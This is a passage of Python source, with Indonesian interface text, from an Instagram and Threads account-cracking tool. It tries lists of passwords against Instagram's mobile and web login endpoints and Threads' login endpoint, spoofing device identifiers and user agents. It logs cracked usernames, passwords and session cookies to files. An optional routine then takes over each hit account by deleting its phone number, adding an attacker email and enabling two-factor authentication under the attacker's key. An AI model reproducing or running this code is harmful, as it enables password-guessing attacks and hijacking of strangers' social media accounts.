  709.                     with open('/sdcard/CP/'+self.result_cp,'a') as wr:
  710.                         wr.write(save)
  711.                         wr.close()
  712.                     break    
  713.                 elif 'ip_block' in str(response):
  714.                     Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  715.                     time.sleep(3.5)    
  716.                 else: continue  
  717.             except (requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects) as e:
  718.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  719.                 time.sleep(31)
  720.                 self.ExecApi(username, password)
  721.         self.looping+=1
  722.        
  723.     def ExecApi_Threads(self, username, password):
  724.         byps = requests.Session()
  725.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.looping}[bold grey50]/[bold white] Ok:-[bold green]{self.success}[bold white] 2f:-[bold red]{self.faktor}[bold white] Cp:-[bold yellow]{self.chekpoint}[bold white]     ", end='\r')
  726.         ua_generate = Useragent().useragent_api_threads()
  727.         for passwd in password:
  728.             try:
  729.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  730.                 else: ua_generate
  731.                 hash = hashlib.md5()
  732.                 hash.update(username.encode('utf-8') + passwd.encode('utf-8'))
  733.                 hex_ = hash.hexdigest()
  734.                 hash.update(hex_.encode('utf-8') + '12345'.encode('utf-8'))
  735.                 headers = {
  736.                     'x-ig-bandwidth-totalbytes-b': str(random.randint(5000000, 90000000)),
  737.                     'x-ig-app-locale': 'in_ID',
  738.                     'x-ig-bandwidth-speed-kbps': str(random.randint(2500000, 3000000) / 1000),
  739.                     'x-ig-device-locale': 'in_ID',
  740.                     'x-ig-mapped-locale': 'id_ID',
  741.                     'x-pigeon-rawclienttime': '{:.6f}'.format(time.time()),
  742.                     'x-ig-bandwidth-totaltime-ms': str(random.randint(2000, 9000)),
  743.                     'x-ig-android-id': f'android-{hash.hexdigest()[:16]}',
  744.                     'x-bloks-version-id': '8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb',
  745.                     'x-ig-timezone-offset': str(-time.timezone),
  746.                     'x-ig-connection-type': random.choice(['MOBILE(LTE)', 'LTE','WIFI']),
  747.                     'x-ig-capabilities': random.choice(['Fw==','3brTv10=','3brTvw8=','3brTvwM=']),
  748.                     'x-pigeon-session-id': f'UFS-{str(uuid.uuid4())}-0',
  749.                     'x-ig-app-id': '567067343352427',
  750.                     'priority': 'u=3',
  751.                     'x-ig-family-device-id': f'{str(uuid.uuid4())}',
  752.                     'user-agent': ua_generate,
  753.                     'accept-language': 'id-ID, en-US',
  754.                     'x-bloks-is-layout-rtl': 'false',
  755.                     'x-ig-device-id': f'{str(uuid.uuid4())}',
  756.                     'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  757.                     'Host': 'api.instagram.com',
  758.                     'x-fb-http-engine': 'Liger',
  759.                     'x-fb-client-ip': 'True',
  760.                     'x-fb-server-cluster': 'True',
  761.                     'x-fb-connection-type': random.choice(['MOBILE.LTE', 'LTE','WIFI']),
  762.                     'connection': 'keep-alive',
  763.                     'cookie': (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  764.                 }
  765.                 encode = (f'params=%7B%22client_input_params%22%3A%7B%22device_id%22%3A%22android-{hash.hexdigest()[:16]}%22%2C%22login_attempt_count%22%3A1%2C%22secure_family_device_id%22%3A%22%22%2C%22machine_id%22%3A%22%22%2C%22accounts_list%22%3A%5B%5D%2C%22auth_secure_device_id%22%3A%22%22%2C%22password%22%3A%22%23PWD_INSTAGRAM%3A0%3A{str(int(datetime.datetime.now().timestamp()))}%3A{urllib.request.quote(str(passwd))}%22%2C%22family_device_id%22%3A%22{str(uuid.uuid4())}%22%2C%22fb_ig_device_id%22%3A%5B%5D%2C%22device_emails%22%3A%5B%5D%2C%22try_num%22%3A3%2C%22event_flow%22%3A%22login_manual%22%2C%22event_step%22%3A%22home_page%22%2C%22openid_tokens%22%3A%7B%7D%2C%22client_known_key_hash%22%3A%22%22%2C%22contact_point%22%3A%22{urllib.request.quote(str(username))}%22%2C%22encrypted_msisdn%22%3A%22%22%7D%2C%22server_params%22%3A%7B%22username_text_input_id%22%3A%22p5hbnc%3A46%22%2C%22device_id%22%3A%22android-{hash.hexdigest()[:16]}%22%2C%22should_trigger_override_login_success_action%22%3A0%2C%22server_login_source%22%3A%22login%22%2C%22waterfall_id%22%3A%22{str(uuid.uuid4())}%22%2C%22login_source%22%3A%22Login%22%2C%22INTERNAL__latency_qpl_instance_id%22%3A152086072800150%2C%22reg_flow_source%22%3A%22login_home_native_integration_point%22%2C%22is_platform_login%22%3A0%2C%22is_caa_perf_enabled%22%3A0%2C%22credential_type%22%3A%22password%22%2C%22family_device_id%22%3A%22{str(uuid.uuid4())}%22%2C%22INTERNAL__latency_qpl_marker_id%22%3A36707139%2C%22offline_experiment_group%22%3A%22caa_iteration_v3_perf_ig_4%22%2C%22INTERNAL_INFRA_THEME%22%3A%22harm_f%22%2C%22password_text_input_id%22%3A%22p5hbnc%3A47%22%2C%22ar_event_source%22%3A%22login_home_page%22%7D%7D&\bk_client_context=%7B%22bloks_version%22%3A%225f56efad68e1edec7801f630b5c122704ec5378adbee6609a448f105f34a9c73%22%2C%22styles_id%22%3A%22instagram%22%7D&bloks_versioning_id=8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb')
  766.                 proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  767.                 response = byps.post('https://i.instagram.com/api/v1/bloks/apps/com.bloks.www.bloks.caa.login.async.send_login_request/', data = encode, headers = headers, allow_redirects=True).text
  768.                 self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
  769.                 if 'Bearer IGT:2:' in str(response.replace('\\', '')) and '"pk_id":' in str(response.replace('\\', '')):
  770.                     self.success+=1
  771.                     self.ig_set_authorization = re.search('"IG-Set-Authorization": "(.*?)"', str(response.replace('\\', ''))).group(1)
  772.                     try:
  773.                         self.decode_ig_set_authorization = json.loads(base64.urlsafe_b64decode(self.ig_set_authorization.split('Bearer IGT:2:')[1]))
  774.                         cookie = (self.ig_set_authorization+";"+";".join([str(name)+"="+str(value) for name,value in self.decode_ig_set_authorization.items()]))
  775.                     except (Exception) as e: cookie = (None)
  776.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  777.                     except (UnboundLocalError) as e: pass
  778.                     if 'ya' in self.amankan_akun:
  779.                         try:
  780.                             num = Require().DeltPhone(cookie)
  781.                             statp, pone = num['Dihapus'], num['Number']
  782.                             deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
  783.                             two = Require().Aktifkan2F(cookie)
  784.                             kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
  785.                             stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
  786.                             Temp = Require().AddMail(cookie)
  787.                             email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
  788.                             statd = 'Di Kofirmasi' if state is True else 'Tidak Di Konfirmasi'
  789.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  790.                             true = tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  791.                             true.add(Columns([Panel(f"[bold green]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold green]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}.00", style = "bold grey50", width=19)]))
  792.                             truu = tree.add(Panel.fit("[bold green]SECURE ACCOUNT", style = "bold grey50"), style="bold white")
  793.                             truu.add(f'[bold green]deleted nomor {deleted}')
  794.                             truu.add(f'[bold green]ganti email {email} {statd}')
  795.                             truu.add(f'[bold green]web email {inbx}')
  796.                             truu.add(f'[bold green]autentikasi duo faktor {stat2fa}')
  797.                             truu.add(f'[bold green]secreet key {key}')
  798.                             truu.add(f'[bold green]kode cadangan [bold green]{kode}').add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  799.                             tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  800.                             printz(tree)
  801.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
  802.                         except Exception as e:
  803.                             print(e)
  804.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  805.                             tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  806.                             tree.add(Columns([Panel(f"[bold green]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold green]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}.00", style = "bold grey50", width=19)]))
  807.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  808.                             tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  809.                             printz(tree)
  810.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  811.                     else:
  812.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  813.                         tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  814.                         tree.add(Columns([Panel(f"[bold green]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold green]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}.00", style = "bold grey50", width=19)]))
  815.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  816.                         tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  817.                         printz(tree)
  818.                         save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  819.                     with open('/sdcard/OK/'+self.result_ok,'a') as wr:
  820.                         wr.write(save)
  821.                         wr.close()
  822.                     break      
  823.                 elif 'two_factor_required' in str(response):
  824.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  825.                     except (UnboundLocalError) as e: pass
  826.                     tree = Tree(Panel.fit("[bold red]LOGIN TWO FAKTOR", style = "bold grey50"), style="bold white")
  827.                     tree.add(Columns([Panel(f"[bold red]{username}", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", style = "bold grey50", width=30)]))
  828.                     tree.add(Columns([Panel(f"[bold red]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold red]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold red]{feedpost}.00", style = "bold grey50", width=19)]))
  829.                     tree.add(Panel(f"[bold red]{headers['user-agent']}", style = "bold grey50", width=61))
  830.                     printz(tree)
  831.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  832.                     self.faktor+=1
  833.                     with open('/sdcard/2F/'+self.result_two,'a') as wr:
  834.                         wr.write(save)
  835.                         wr.close()  
  836.                     break
  837.                 elif 'challenge_required' in str(response):
  838.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  839.                     except (UnboundLocalError) as e: pass
  840.                     tree = Tree(Panel.fit("[bold yellow]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  841.                     tree.add(Columns([Panel(f"[bold yellow]{username}", style = "bold grey50", width=30), Panel(f"[bold yellow]{passwd}", style = "bold grey50", width=30)]))
  842.                     tree.add(Columns([Panel(f"[bold yellow]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold yellow]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold yellow]{feedpost}.00", style = "bold grey50", width=19)]))
  843.                     tree.add(Panel(f"[bold yellow]{headers['user-agent']}", style = "bold grey50", width=61))
  844.                     printz(tree)
  845.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  846.                     self.chekpoint+=1
  847.                     with open('/sdcard/CP/'+self.result_cp,'a') as wr:
  848.                         wr.write(save)
  849.                         wr.close()
  850.                     break    
  851.                 elif 'ip_block' in str(response):
  852.                     Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  853.                     time.sleep(3.5)    
  854.                 else: continue    
  855.             except (KeyboardInterrupt, requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
  856.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  857.                 time.sleep(31)
  858.                 self.ExecApi_Threads(username, password)
  859.         self.looping+=1
  860.            
  861.     def ExecAjax(self, username, password):
  862.         byps = requests.Session()
  863.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.looping}[bold grey50]/[bold white] Ok:-[bold green]{self.success}[bold white] 2f:-[bold red]{self.faktor}[bold white] Cp:-[bold yellow]{self.chekpoint}[bold white]     ", end='\r')
  864.         ua_generate = Useragent().useragent_ajax()
  865.         for passwd in password:
  866.             try:
  867.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  868.                 else: ua_generate
  869.                 curl = byps.get('https://www.instagram.com/accounts/login/?source=auth_switcher', headers = {"user-agent":ua_generate}, allow_redirects=True)
  870.                 try: csrftoken = re.search('{"csrf_token":"(.*?)"', str(curl.text)).group(1)
  871.                 except: csrftoken = None
  872.                 headers = {
  873.                     'Host': 'www.instagram.com',
  874.                     'vary': 'Accept-Encoding',
  875.                     'x-fb-debug':'X+2SLtmnrCBfsBDb/pVlP8IRXmPriN3g+iTxoPj6Ol2jUJz5zs8I0ghgR7yekWJhRwO06oxty5Ba+4h9P8vD2Q==',
  876.                     'content-length': '0',
  877.                     'x-ig-app-id': '1217981644879628',
  878.                     'x-instagram-ajax': '1011794706',
  879.                     'user-agent': ua_generate,
  880.                     'sec-ch-ua-mobile': '?0',
  881.                     'content-type': 'application/x-www-form-urlencoded;charset=UTF-8',
  882.                     'x-asbd-id': '129477',
  883.                     'dpr': '2',
  884.                     'x-csrftoken': csrftoken,
  885.                     'x-requested-with': 'XMLHttpRequest',
  886.                     'accept': '*/*',
  887.                     'sec-ch-ua-platform': '"Linux"',
  888.                     'origin': 'https://www.instagram.com',
  889.                     'sec-fetch-site': 'same-origin',
  890.                     'sec-fetch-mode': 'cors',
  891.                     'sec-fetch-user': '0',
  892.                     'sec-fetch-dest': 'empty',
  893.                     'referer': 'https://www.instagram.com/accounts/onetap/?next=%2F&hl=en',
  894.                     'accept-encoding': 'gzip, deflate',
  895.                     'accept-language': 'en-US,id-ID,id;q=0.7',
  896.                     'connection': 'close',
  897.                     'range':'bytes=0-2048'
  898.                 }
  899.                 payload = {
  900.                     'username': username,
  901.                     'enc_password': '#PWD_INSTAGRAM_BROWSER:0:{}:{}'.format(int(time.time()),passwd),
  902.                     'optIntoOneTap': False,
  903.                     'queryParams': '{"source":"auth_switcher"}',
  904.                     'stopDeletionNonce': '',
  905.                     'trustedDeviceRecords': {},
  906.                     'next': 'https://www.instagram.com/accounts/access_tool/logins'
  907.                 }
  908.                 proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  909.                 response = byps.post('https://www.instagram.com/api/v1/web/accounts/login/ajax/', data = payload, headers = headers, allow_redirects=True).text
  910.                 self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
  911.                 if 'userId' in str(response):
  912.                     self.success+=1
  913.                     try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
  914.                     except (Exception) as e: cookie = (None)
  915.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  916.                     except (UnboundLocalError) as e: pass
  917.                     if 'ya' in self.amankan_akun:
  918.                         try:
  919.                             num = Require().DeltPhone(cookie)
  920.                             statp, pone = num['Dihapus'], num['Number']
  921.                             deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
  922.                             two = Require().Aktifkan2F(cookie)
  923.                             kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
  924.                             stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
  925.                             Temp = Require().AddMail(cookie)
  926.                             email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
  927.                             statd = 'Di Kofirmasi' if state is True else 'Tidak Di Konfirmasi'
  928.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  929.                             true = tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  930.                             true.add(Columns([Panel(f"[bold green]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold green]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}.00", style = "bold grey50", width=19)]))
  931.                             truu = tree.add(Panel.fit("[bold green]SECURE ACCOUNT", style = "bold grey50"), style="bold white")
  932.                             truu.add(f'[bold green]deleted nomor {deleted}')
  933.                             truu.add(f'[bold green]ganti email {email} {statd}')
  934.                             truu.add(f'[bold green]web email {inbx}')
  935.                             truu.add(f'[bold green]autentikasi duo faktor {stat2fa}')
  936.                             truu.add(f'[bold green]secreet key {key}')
  937.                             truu.add(f'[bold green]kode cadangan [bold green]{kode}').add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  938.                             tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  939.                             printz(tree)
  940.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
  941.                         except Exception as e:
  942.                             print(e)
  943.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  944.                             tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  945.                             tree.add(Columns([Panel(f"[bold green]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold green]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}.00", style = "bold grey50", width=19)]))
  946.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  947.                             tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  948.                             printz(tree)
  949.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  950.                     else:
  951.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  952.                         tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  953.                         tree.add(Columns([Panel(f"[bold green]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold green]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}.00", style = "bold grey50", width=19)]))
  954.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  955.                         tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  956.                         printz(tree)
  957.                         save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  958.                     with open('/sdcard/OK/'+self.result_ok,'a') as wr:
  959.                         wr.write(save)
  960.                         wr.close()
  961.                     break      
  962.                 elif 'two_factor_required' in str(response):
  963.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  964.                     except (UnboundLocalError) as e: pass
  965.                     tree = Tree(Panel.fit("[bold red]LOGIN TWO FAKTOR", style = "bold grey50"), style="bold white")
  966.                     tree.add(Columns([Panel(f"[bold red]{username}", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", style = "bold grey50", width=30)]))
  967.                     tree.add(Columns([Panel(f"[bold red]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold red]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold red]{feedpost}.00", style = "bold grey50", width=19)]))
  968.                     tree.add(Panel(f"[bold red]{headers['user-agent']}", style = "bold grey50", width=61))
  969.                     printz(tree)
  970.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  971.                     self.faktor+=1
  972.                     with open('/sdcard/2F/'+self.result_two,'a') as wr:
  973.                         wr.write(save)
  974.                         wr.close()  
  975.                     break
  976.                 elif 'challenge_required' in str(response):
  977.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  978.                     except (UnboundLocalError) as e: pass
  979.                     tree = Tree(Panel.fit("[bold yellow]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  980.                     tree.add(Columns([Panel(f"[bold yellow]{username}", style = "bold grey50", width=30), Panel(f"[bold yellow]{passwd}", style = "bold grey50", width=30)]))
  981.                     tree.add(Columns([Panel(f"[bold yellow]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold yellow]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold yellow]{feedpost}.00", style = "bold grey50", width=19)]))
  982.                     tree.add(Panel(f"[bold yellow]{headers['user-agent']}", style = "bold grey50", width=61))
  983.                     printz(tree)
  984.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  985.                     self.chekpoint+=1
  986.                     with open('/sdcard/CP/'+self.result_cp,'a') as wr:
  987.                         wr.write(save)
  988.                         wr.close()
  989.                     break    
  990.                 elif 'ip_block' in str(response):
  991.                     Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  992.                     time.sleep(3.5)    
  993.                 else: continue  
  994.             except (KeyboardInterrupt, requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
  995.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  996.                 time.sleep(31)
  997.                 self.ExecAjax(username, password)
  998.         self.looping+=1
  999.        
  1000.     def ExecAjax_Threads(self, username, password):
  1001.         byps = requests.Session()
  1002.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.looping}[bold grey50]/[bold white] Ok:-[bold green]{self.success}[bold white] 2f:-[bold red]{self.faktor}[bold white] Cp:-[bold yellow]{self.chekpoint}[bold white]     ", end='\r')
  1003.         ua_generate = Useragent().useragent_ajax()
  1004.         for passwd in password:
  1005.             try:
  1006.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  1007.                 else: ua_generate
  1008.                 curl = byps.get('https://www.threads.net/accounts/onetap/?next=%2F&hl=en', headers = {'user-agent':ua_generate}, allow_redirects=True)
  1009.                 try: csrftoken = re.search('{"csrf_token":"(.*?)"', str(curl.text)).group(1)
  1010.                 except: csrftoken = None
  1011.                 headers = {
  1012.                     'Host': 'www.instagram.com',
  1013.                     'vary': 'Accept-Encoding',
  1014.                     'x-fb-debug':'X+2SLtmnrCBfsBDb/pVlP8IRXmPriN3g+iTxoPj6Ol2jUJz5zs8I0ghgR7yekWJhRwO06oxty5Ba+4h9P8vD2Q==',
  1015.                     'content-length': '0',
  1016.                     'x-ig-app-id': '1217981644879628',
  1017.                     'x-instagram-ajax': '1011794706',
  1018.                     'user-agent': ua_generate,
  1019.                     'sec-ch-ua-mobile': '?0',
  1020.                     'content-type': 'application/x-www-form-urlencoded;charset=UTF-8',
  1021.                     'x-asbd-id': '129477',
  1022.                     'dpr': '2',
  1023.                     'x-csrftoken': csrftoken,
  1024.                     'x-requested-with': 'XMLHttpRequest',
  1025.                     'accept': '*/*',
  1026.                     'sec-ch-ua-platform': '"Linux"',
  1027.                     'origin': 'https://www.threads.net',
  1028.                     'sec-fetch-site': 'same-origin',
  1029.                     'sec-fetch-mode': 'cors',
  1030.                     'sec-fetch-user': '0',
  1031.                     'sec-fetch-dest': 'empty',
  1032.                     'referer': 'https://www.threads.net/accounts/onetap/?next=%2F&hl=en',
  1033.                     'accept-encoding': 'gzip, deflate',
  1034.                     'accept-language': 'en-US,id-ID,id;q=0.7',
  1035.                     'connection': 'close',
  1036.                     'range':'bytes=0-2048'
  1037.                 }
  1038.                 payload = {
  1039.                     'enc_password': '#PWD_INSTAGRAM_BROWSER:0:{}:{}'.format(int(time.time()),passwd),
  1040.                     'optIntoOneTap':'false',
  1041.                     'queryParams':'{"hl":"en"}',
  1042.                     'trustedDeviceRecords':'{}',
  1043.                     'username': username,
  1044.                     'next': 'https://www.threads.net/accounts/access_tool/logins'
  1045.                 }
  1046.                 response = byps.post('https://www.threads.net/api/v1/web/accounts/login/ajax/', data = payload, headers = headers).text
  1047.                 self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
  1048.                 if 'userId' in str(response):
  1049.                     self.success+=1
  1050.                     try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
  1051.                     except (Exception) as e: cookie = (None)
  1052.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1053.                     except (UnboundLocalError) as e: pass
  1054.                     if 'ya' in self.amankan_akun:
  1055.                         try:
  1056.                             num = Require().DeltPhone(cookie)
  1057.                             statp, pone = num['Dihapus'], num['Number']
  1058.                             deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
  1059.                             two = Require().Aktifkan2F(cookie)
  1060.                             kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
  1061.                             stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
  1062.                             Temp = Require().AddMail(cookie)
  1063.                             email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
  1064.                             statd = 'Di Kofirmasi' if state is True else 'Tidak Di Konfirmasi'
  1065.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1066.                             true = tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  1067.                             true.add(Columns([Panel(f"[bold green]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold green]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}.00", style = "bold grey50", width=19)]))
  1068.                             truu = tree.add(Panel.fit("[bold green]SECURE ACCOUNT", style = "bold grey50"), style="bold white")
  1069.                             truu.add(f'[bold green]deleted nomor {deleted}')
  1070.                             truu.add(f'[bold green]ganti email {email} {statd}')
  1071.                             truu.add(f'[bold green]web email {inbx}')
  1072.                             truu.add(f'[bold green]autentikasi duo faktor {stat2fa}')
  1073.                             truu.add(f'[bold green]secreet key {key}')
  1074.                             truu.add(f'[bold green]kode cadangan [bold green]{kode}').add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1075.                             tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  1076.                             printz(tree)
  1077.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
  1078.                         except Exception as e:
  1079.                             print(e)
  1080.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1081.                             tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  1082.                             tree.add(Columns([Panel(f"[bold green]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold green]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}.00", style = "bold grey50", width=19)]))
  1083.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1084.                             tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  1085.                             printz(tree)
  1086.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  1087.                     else:
  1088.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1089.                         tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  1090.                         tree.add(Columns([Panel(f"[bold green]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold green]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}.00", style = "bold grey50", width=19)]))
  1091.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1092.                         tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  1093.                         printz(tree)
  1094.                         save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  1095.                     with open('/sdcard/OK/'+self.result_ok,'a') as wr:
  1096.                         wr.write(save)
  1097.                         wr.close()
  1098.                     break      
  1099.                 elif 'two_factor_required' in str(response):
  1100.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1101.                     except (UnboundLocalError) as e: pass
  1102.                     tree = Tree(Panel.fit("[bold red]LOGIN TWO FAKTOR", style = "bold grey50"), style="bold white")
  1103.                     tree.add(Columns([Panel(f"[bold red]{username}", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", style = "bold grey50", width=30)]))
